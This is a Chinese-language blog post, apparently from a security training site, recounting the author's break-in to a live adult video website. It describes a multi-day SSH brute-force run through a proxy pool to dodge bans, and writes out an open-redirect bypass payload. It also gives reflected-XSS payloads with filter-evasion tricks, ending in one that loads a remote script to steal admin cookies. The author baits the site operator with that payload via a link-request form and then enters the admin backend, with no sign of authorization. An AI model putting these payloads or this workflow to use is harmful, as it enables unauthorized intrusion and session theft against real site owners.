渗透某福利网站

发表于:2018-09-11 11:34:02 来源:  合天网安实验室 阅读数(0人)

0*00 前言


故事的起因:




然后




没有想到我为了一张SSC安全峰会的门票,义无反顾的走进上了一条不归路,不是一般的坑...


0*01信息收集


首先打开网站首页是这样子 咳咳~为了和谐接下来都会打上重码




我总觉得布局很像是某影视cms,所以打算先识别一下cms。




唔,不知道为什么 bugscan的在线指纹识别并不能访问,或许是waf,又或许是bugscan自己的黑名单。


本地cms识别。




没有结果,接下来多地ping一下。




发现cdn,并且发现似乎是美国的服务商,可能bugscan不能识别跟这个有关。


绕过cdn找真实ip的方法,我在前面的文章有提到过,这里由于网站不存在注册功能,并且cdn服务商为美国,dns解析记录又没有找到真实ip(由于av域名经常换),所以这里就搁下了,不过到最后我还是拿到了,那是后话了。


整个网站都加了waf,扫描起来很难受,而且这种类型的网站不做支持爬虫机制,不能从搜索引擎中获取敏感信息。


端口开放信息如下:




端口开放很有限。目录扫描结果如下:




意料之中,因为上面的url基本样式都是这样子的:




可以肯定的是基于某影视cms二次开发,并且很有良心,把注册功能去掉了。子域名我并没有打算扫,因为一个如此类型的网站,会经常换域名,不太现实。


可能是我的字典太菜了,二级目录并没有扫描出什么结果。


0*02 渗透测试ing


经过一番测试,我并没有找到sql注入,并且waf太过严格,大多数时间都只能用手测,实在太痛苦了,但是让我找到了一个很有意思的东西。




首先点开第一个,这里有一个友情链接的申请提交表单,我在第一时间想到了xss盲打,然而存在一个问题,如果不成功,会打草惊蛇,导致接下来的渗透变得异常艰难。




第二个广告联系,这个链接非常坑,首先我点开的时候发现是这样子的:




我??




查看页面源代码看看:




这不按照套路出牌啊?难道联系站长还得黑科技???在这里我琢磨了很久,查看链接跳转的确没啥毛病,但我总觉得不对劲,然后脑子一抽想起了那个美国的cdn,掏出了我珍藏多年的翻墙梯,重新点了一次广告联系。




??这年头,连找站长都必须不是国内ip了吗...


我没有先着急加qq。


继续点开第三个视频删除,没想到还能删除视频?




唔,事实证明我还是太年轻了。也算是有收获,得到了一个邮箱。


整站做了静态处理,没有交互的参数,整个渗透似乎到这里就陷入了死路,我甚至写了个爬虫,递归性的爬了一整个网站,然而没有发现...


突然想起可以扫c段,但是我又发现没有找到真实ip,所以压根不存在C段这个东西。


吃个辣条整理一下思路,ssh可以尝试爆破一波,直接上神器




然后,我就被ban ip了 有waf的爆破比较麻烦,但没关系,我有代理池,时间我也有的是。


然后就在折磨中爆破了三天...,并没有啥结果...。


0*03路途坎坷


在失落中点开了目标站点,让我脑子顿时清醒了起来,他居然又换网址了,并且贴心的给了提示。




我看了一下源代码




是一个跳转链接,不过很奇怪 没有写成超链接的形式,而是直接服务端跳转。


测试一下是否存在url跳转漏洞,直接在index.php上get传值过去。




很尴尬并没有跳转成功,而是正常跳转到了目标新的网址。


由于所有的错误都会正常跳转,导致无法通过错误信息调整payload,所以在这里我进行了大量关于url跳转漏洞的绕过尝试:


首先去掉协议:




无果,去掉www:




将域名换成ip地址:




更换协议




尝试通过添加多余的"/"(%2F)符号,再对"."两次url编码成"%252E"绕过代码中对域名后".com"的切割




尝试";", "/", "\", "?", ":", "@", "=", "&", "."特殊字符绕过




经过了非常消磨耐性与想象力的过程,我成功测试成功payload


https://www.xxx.com/index.php?link=https://www.xxxx.com\\?https://www.baidu.com/..




实在很迷,关于url跳转漏洞的测试,有机会可以总结一下。


但我突然发现一个问题,url跳转成功似乎也没啥卵用,我总不能拿去钓鱼站长,因为不知道站点的后台地址,无法模仿出钓鱼页面。


我内心:




0*04 峰回路转


Link参数是采用服务端跳转的方式,并且没有引用js脚本,所以基本可以肯定没有xss漏洞,但是在这时候我又发现了一个信息。




他更新了,我在他这个版本里面没有发现搜索功能,但是先前的版本很可能会存在,而且更新的一般都是框架型的更新,比如说模板之类的,实际的底层代码很多都没变,既然index.php存在link参数,那么跟搜索相关的参数比说: ?s,?search ,?sou 等等。


掏出珍藏已久的关键字执行字典,丢进在自己写的扫描脚本,加上代理池,坐等结果。




s参数存活 我们去看看究竟是个什么功能。




确定是搜索功能,并且为什么我搜我id会有一个不可描述的视频...


我们可以尝试能否挖到反射型xss或者搜索型文本框注入。


0*05 by bass


首先是xss:




查看源码,可知我们在strong标签。




过滤了相应的关键字,尖括号等,尝试关键字大小写与尖括号重复绕过。(失败)




发现并没有过滤双引号,单引号,\




尝试未递归绕过




这个输出点并没有在标签内,并且过滤了<> 尝试各种编码没办法绕过,也就是无法逃匿标签,遂放弃此输出点。


但是我们还有另一个输出点




先右键源码看一下




<input id="wd" name="wd" class="search-input acInput" value="moza" type="text">

思路很清楚,由于没有过滤” 我们可以闭合value属性,然后通过一些事件去触发弹窗。


但是让我始料未及的是




Input的小括号被过滤了。我们来构造一下原始payload ,moza" autofocus onfocus=alert(1) a="


代码很简单 插入一个事件与一个属性,其中onfocus 事件在对象获得焦点时发生,autofocus 属性规定当页面加载时 input 元素应该自动获得焦点。


简单来说,就是它会自动获取焦点然后执行 onfocus=xxxx中的xxxx。


但是()被过滤,采用location=url模式,可以将括号写为%28 %29


所以payload变成这个样子


moza" autofocus onfocus=location='javascript:alert%25281%2529' a=", 其中%25为”%”的url编码。


然而由于此处输出点过滤单引号




所以我们换一种方式传入,用this.name进行传值,所以最后的payload变成了


moza" autofocus name=javascript:alert%25281%2529 onfocus=location=this.name a="


令人窒息的是过滤了script却没有过滤javascript,故这里就不用在做编码绕过。


然后我们就成功弹窗了。




当然弹窗还不行,我们需要用到xss平台,让我们来引入外链盗取后台地址与及cookie。


moza" name=javasCript:s=document.createElement%2528"script"%2529;s.src="xxxxxx.com/xxx.js";document.body.appendChild%2528s%2529; autofocus onfocus=location=this.name a="


这里有两个思路。


第一个是加他qq然后骗他点击。


第二个就是友链申请,直接丢上去。


第一种感觉有点难套路 ,我们用第二种




然后我就去吃辣条了。


两小时后收到邮件。




并且在这里拿到了真实的ip,说实话这后台地址我不想吐槽...


/h0ut4is_admin/ 不得不服




最后登陆后台




还是打码吧,要和谐,没有打算getshell,太累了。


最后我的ssc门票也到手了。




0*06总结


在渗透测试过程中,注意收集信息,并且需要有足够的耐心,共勉。


相关新闻

大家都在学

课程详情

信息安全意识教育

课程详情

小白入门之旅

课程详情

信息安全基础